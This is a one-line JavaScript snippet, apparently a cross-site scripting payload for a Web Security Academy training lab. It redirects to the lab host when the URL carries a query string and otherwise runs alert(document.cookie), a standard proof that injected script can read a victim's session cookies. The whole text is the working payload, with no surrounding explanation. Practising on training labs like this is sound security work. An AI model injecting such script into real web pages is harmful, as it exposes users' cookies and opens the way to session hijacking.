if(document.location.href.indexOf("?") >= 2){ window.location.href = "https://aca61f7e1e0d1dad80a937d900280014.web-security-academy.net/"; }else{ alert(document.cookie); }